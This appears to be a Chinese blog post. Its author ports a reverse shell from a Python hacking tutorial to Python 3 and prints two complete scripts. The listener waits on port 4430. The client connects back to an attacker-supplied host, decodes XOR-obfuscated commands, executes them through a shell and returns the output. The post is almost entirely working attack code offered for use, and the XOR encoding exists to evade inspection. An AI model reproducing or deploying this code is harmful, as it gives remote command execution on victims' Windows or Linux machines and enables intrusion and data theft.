这个是在《Python黑客学习笔记:从HelloWorld到编写PoC(上)》 中看到的一个反向shell代码,因为本身我是学python3的,所以我把代码改成的python3。同时也做了编码方面一些小改动,使这个代码在linux和windows下都可以运行。
udp_server.py
#!/usr/bin/python3
__author__ = 'Administrator'
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", 4430))
s.listen(2048)
print("Listening on port 4430... ")
(client, (ip, port)) = s.accept()
print(" recived connection from : {}", ip)
while True:
command = input('~$ ')
encode = bytearray(command, 'utf-8')
for i in range(len(encode)):
encode[i] ^= 0x41
client.send(encode)
en_data = client.recv(2048)
decode = bytearray(en_data)
for i in range(len(decode)):
decode[i] ^= 0x41
print(decode.decode('utf-8'))
client.close()
s.close()
udp_client.py
#!/usr/bin/python3
import socket
import subprocess
import sys
RHOST = sys.argv[1]
RPORT = 4430
ENCODE = sys.getfilesystemencoding()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))
while True:
# receive XOR encoded data from network socket
data = s.recv(1024)
# XOR the data again with a '\x41' to get back to normal data
en_data = bytearray(data)
for i in range(len(en_data)):
en_data[i] ^= 0x41
# Execute the decode data as a command.
# The subprocess module is great because we can PIPE STDOUT/STDERR/STDIN to a variable
comm = subprocess.Popen(en_data.decode('utf-8'), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
stdin=subprocess.PIPE)
comm.wait()
STDOUT, STDERR = comm.communicate()
print(STDERR.decode(ENCODE))
print(STDOUT.decode(ENCODE))
# Encode the output and send to RHOST
en_STDOUT = bytearray((STDOUT.decode(ENCODE)+STDERR.decode(ENCODE)).encode('utf-8'))
for i in range(len(en_STDOUT)):
en_STDOUT[i] ^= 0x41
s.send(en_STDOUT)
s.close()